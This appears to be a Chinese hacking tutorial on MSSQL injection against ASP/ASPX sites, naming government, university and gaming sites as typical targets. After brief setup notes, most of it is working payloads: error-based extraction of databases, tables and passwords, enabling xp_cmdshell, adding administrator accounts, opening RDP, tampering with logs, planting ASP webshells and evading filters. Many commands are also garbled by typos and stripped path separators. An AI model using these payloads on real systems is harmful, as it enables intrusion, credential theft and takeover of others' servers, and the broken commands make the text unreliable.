MSsql注入漏洞详解
(Asp、Aspx站,常见于棋牌网站、考试网站、大学网站、政府网站、游戏网站、OA办公系统)
大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法
msSQL数据库介绍及操作
介绍:ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所
产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。(源自百度百科)
特点:
1、高性能设计。可充分利用WindowsNT的优势
2、系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置
3、强壮的事务处理能力,采用各种方法保证数据的完整性
4、支持对称多处理器结构,存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能,强大的管理工具与Internet的紧密集成和开放的系统结构为广大的用户,开发人员和系统集成商提功力一个出众的数据库平台
msSQL服务、端口、后缀
重启服务,使其生效,命令:services.msc
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
1433端口是开启的,当关闭服务后,端口也会随之关闭
后缀 cracer.mdf(数据库文件)
日志文件后缀 cracer_log.ldf
管理员帐号:sa
hydra 可以直接爆1433的弱口令
SQL sever 2005安装(Windows server 2003)
打开tools文件下的setup.exe文件进行安装
同意条款后点击下一步,安装
下一步,下一步
下一步,信息随便填,下一步
选择整个功能安装到本地硬盘上,点击下一步,下一步,安装
一路默认,完成。
安装服务servers,找到servers文件下的setup.exe文件进行安装
接受服务,下一步安装组件,下一步
一路默认下一步,全选,下一步
一路下一步到服务账户,设置使用内置系统账户,下一步
设置混合模式,设置密码,正常情况下这个密码应该设置的很难,但是我们只是搭建靶场,设置一个简单容易记的就可以(123)
可以直接默认下一步
一路默认,安装,下一步,完成
打开
打开后有两种方式登录,一种是Windows身份,一种是SQL server身份,我们选择SQL server
登录名是sa(相当于操作系统的最高权限账户) 密码是之前安装时自己设置的(123)
分离、附加数据库
登入后就是数据库连接客户端界面(真正的数据库是看不到的,它只是一种服务,这个只是方便用户管理的一个客户端 )
数据库是靠dbid来区分的(在后面进行注入的时候就会体现出dbid的作用),我们新创建的就是dbid5,以下是自带的四个数据库
新建数据库如下:
对数据库出右键点击选择新建数据库,做好需要的设置以后点击确定就可以了
新建表:右键点击表-->新建表,做好相应的设置以后,Ctrl+s保存,设置表名
之后添加内容的时候,右键点击我们创建的表-->打开表,进行内容的添加,然后Ctrl+s保存就好
也可以通过命令来执行,点击嘴上脚的新建查询
使用数据库ceshi,点击执行
之后就是数据库的一些语句的使用了。进行增删改查的操作,每一次的命令都需要点击执行才可以成功
如果要删除这个数据库,首先要记得,第一步-->分离
右键点击要删除的数据库,选择任务中的分离选项
然后找到数据库保存的路径,然后删除就好
关于附加,就是我们将别处下载下来的数据库要附加在我们的管理器中(需要注意兼容性的问题)
右击数据库,选择附加
找到数据库的路径(要选择两个文件.mdf .ldf)
也可以生成脚本对数据库打包,拿到本地直接执行
在安全性里面是可以创建登录账号的,可以只针对某一个数据库进行账号的添加设置
如果要下载目标数据库的.mdf .ldf,需要先分离数据库,否则无法进行复制移动操作的
常见语句
1、创建数据库
CREATE DATABSE databse-name
2/删除数据库
drop database dbname
查询所有
select * from 表名
select * from student
msSQL数据库权限
sa权限:数据库操作、文件管理、命令执行、注册表读取等,system(是最高的权限)
db权限:文件管理、数据库操作等,users-adminstrators
public权限:数据库操作,guest-users
msSQL数据调用分析
调用数据库的代码
1 <% 2 set conn=server.createobject("adodb.connection") 3 conn.open "provider=sqloledb;source=local;uid=sa;pwd=*******;" 4 database=database-name 5 %>
其中,provider后面的不用管,照写;source后面的可以是ip地址,这里使用的是本地地址(点号也是可以代替表示本地地址的);sa是内置的用户,后面是密码;database后面是要连接的数据库的名称。例如:mydatabase(不需要扩展名)
一般在存在于一些配置脚本中,如:web.config
msSQL数据库注入
1、判断是否存在注入
and 1=1 (回显正常) adn 1=2(报错) /(报错) -0(回显正常) 其实所有的判断都可以使用这种方法
2、初步判断是否是msSQL
and user >0
3、判断数据库系统
and (select count(*) from sysobjects) >0 (回显正常说明是msSQL)
and (select count(*) from msysobjects) >0 (回显正常说明是access)
4、注入参数是字符
'and [查询条件] and "='
5、搜索时没有过滤参数的
'and [查询条件] and '%25"="
6、猜表明
and (select count(*) from [表名]) >0
7、猜字段
and (select count(字段名) from 表名) >0
8、猜字段中记录的长度
and (select top 1 len(字段名) from 表名) >0
9、(1)猜字段的ASCII值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名) >0
(2)猜字段的ASCII值(msSQL)
and (select top 1 unicode(substring(字段名,1,1)) from 表名) >0
10、测试权限结构(msSQL)测试当前是什么身份
and 1=(select IS_SRVOEMEMBER('sysadmin'));--
and 1=(select IS_SRVOEMEMBER('serveradmin'));--
and 1=(select IS_SRVOEMEMBER('setupadmin'));--
and 1=(select IS_SRVOEMEMBER('securityadmin'));--
and 1=(select IS_SRVOEMEMBER('diskadmin'));--
and 1=(select IS_SRVOEMEMBER('bulkadmin'));--
and 1=(select IS_SRVOEMEMBER('db_owner'));--
11、添加msSQL和系统的账户
1 1 exec master,dbo.sp_addlogin username;-- 2 2 exec master,dbo.sp_password null,username,password;-- 3 3 exec master,dbo.sp_addsrvrolemember sysadmin username;-- 4 4 exec master,dbo.sp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /active:yes /add';-- 5 5 exec master,dbo.xp_cmdshell 'net user username password /add';-- 6 6 exec master,dbo.xp_cmdshell 'net localgroup administrators username /add';--
判断注入
http://www.abc.com/anc.asp?id=0 在后面加 ' 后报错
获取数据库信息
id=1 and 1=(select @@version) //数据库版本
原理:id=1是数字类型,@@version是字符类型;前后两个类型不匹配就要强制转换,出错,就会报错,并把查寻得信息以报错的形式显示出来
获取当前数据库的名称
id=1 and 1=(select db_name()) //查询当前使用的数据库名
获取用户数据库名称
and 1=(select top 1 name from master..sysdatabuses where dbid >4) //获取第一个用户的数据库名
and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test) //获取除过test库的下一个数据库
and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test and name<>' test2)
以此类推
也可以直接修改id范围来查询
and 1=(select top 1 name from master..sysdatabuses where dbid >4)
and 1=(select top 1 name from master..sysdatabuses where dbid >5)
and 1=(select top 1 name from master..sysdatabuses where dbid >6)
以此类推
也可以 and 1=(select name sysobjects for xml path)
获取表名
threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u') //获取第一张表
threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name<>' news')
以此类推
也可以
and 1=(select name from master..sysdatabases for xml path)
获取users的列名
?id=1 and 1=(select to 1 name from syscolumns where id=(select id from sysobjects where name = 'users'))
获取第一个用户名对应的密码
?id=1 and 1=(select top 1 upass from users) //如果不能运行,将命令进行大小的转换再执行
msSQL数据库另类玩法
msSQL注入时用户权限分析
sa权限 dbo public
基本信息收集
and 1=(select is_srvrolemember('sysadmin')) //判断是不是系统管理员 and 1=(select is_srvrolemember('db_owner')) //判断是不是库权限 and 1=(select is_srvrolemember('public')) //判断是不是public权限 and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select HAS_DBACCESS(CESS('master')) //判断是否有库的读取权限
利用msSQL扩展存储注入攻击
1、检测与恢复扩展存储
and 1=(select count(*) from master.dbo.sysobjects where xtype='x') AND name= 'xp_cmdshell')
2、判断xp_rogread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
3、恢复
EXEC sp_configure 'shew advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell, 'xplog 10.dll'
sa权限下扩展存储攻击利用方法
1、利用xp_cmdshell 扩展执行命令
查看c盘
1 ;drop table black 2 ;create TABLE black(mulu verchar(7996)NULL,ID int NOT NULL IDENTLTY(1,1))-- 3 ;insert into black exec master..xp_cmdshell 'dir c:' 4 and 1=(select top 1 mulu from black where id=1)
新建用户
;exec master..xp_cmdshell 'net user test test /add' ;exec master..xp_cmdshell 'net localgroup administrators tesr /add'
添加和删除一个sa权限的用户test(前提是需要sa权限)
exec master.dbo.sp_addlogin.tese,password exec master.dbo.sp_addsrvrolemember test,sysadmin
停止或激活某服务(前提是需要sa权限)
exec master..xp_servicecontrol 'stop','schedule' exec master..xp_servicecontrol 'start','schedule'
暴网站目录
create table labeng(lala nvarchar(255), id int) DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMControISetoolServicesw3svc5ParametersVirtualRoots','/',@result output insert into lebeng lala) vlaues (@result);
删除日志记录
;exec master.dbo.xp_cmdshell 'copy c:winntsystem32logfilesw3svc5ex070404.log c:wintsystem32logfilesw3svc5ex070606.log >c: emp.txt'
开启远程数据库1
;select * from OPENROWSET ('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','selset * from table1')
开启远程数据库2
;select * from OPENROWSET ('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;','select * from table')
打开3389
;exec master..xpcmdshell 'sc config termservice start=auto' ;exec master..xp_cmdshell 'net start termservice' ;exec master..xp_cmdshell 'reg add "HKEY_MACHINESYSTEMCurrentControlSetControlTerminal Server" /vfDenyTSConnections /t REG_DWORO /d oxo /f' //允许外部链接 ;exec master..xp_cmdshell 'reg add "HKET_LOCAL_DWACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TCP" /v PortNumber /t REG_DWORD /d ox50 /f' //改端口到80
利用sp_makewebtask写入一句话木马
;exec sp_makewebtask 'c:inetpubwwwrootx.asp','select "%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%74%28%22%63%68%6f%70%70%65%72%22%29%25%3e'"-- http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:inetpubwwwrootmsx1.asp%27,%27select%27%27<%executecrequest("cmd")%>%27%27--
修改管理员密码
update admin set password 123123 where username-'admin')
dbowner权限下的扩展攻击利用
1、判断数据库用户权限
;create table tempcdir nvarchar(255),depth narchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
然后
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree'c:',1,1--
and(select dir from temp where id=1) >0
由于不能一次性获取文件和文件名,因此需要改ID的值,依次列出文件和文件名
找到web目录后,就可以写入一句话木马
;alter database ssdown5 set RECOVERY FULL //修改数据库为RECOVERY模式 ;create table test(str image)-- //创建一个表 ;backup log ssdown5 to disk='c: est' with init-- //备份 ;insert into test(str) values ('<%excut(request("cmd"))%>')-- //插入一句话到列表中 ;backup log ssdown5 to disk='c:inetpubwwwrootx.asp'-- //备份到网站根目录下并生成x.asp文件 ;alter database ssdown5 set RECOVERY simple //再将数据库模式改为RECOVERY
也可以直接使用工具Getwebshell
工具使用:
穿山甲,萝卜头,sqlmap。。。。。。
空格可以使用 /**/ + %0a 代替以达到绕过检测的效果
2019-04-26 10:49:05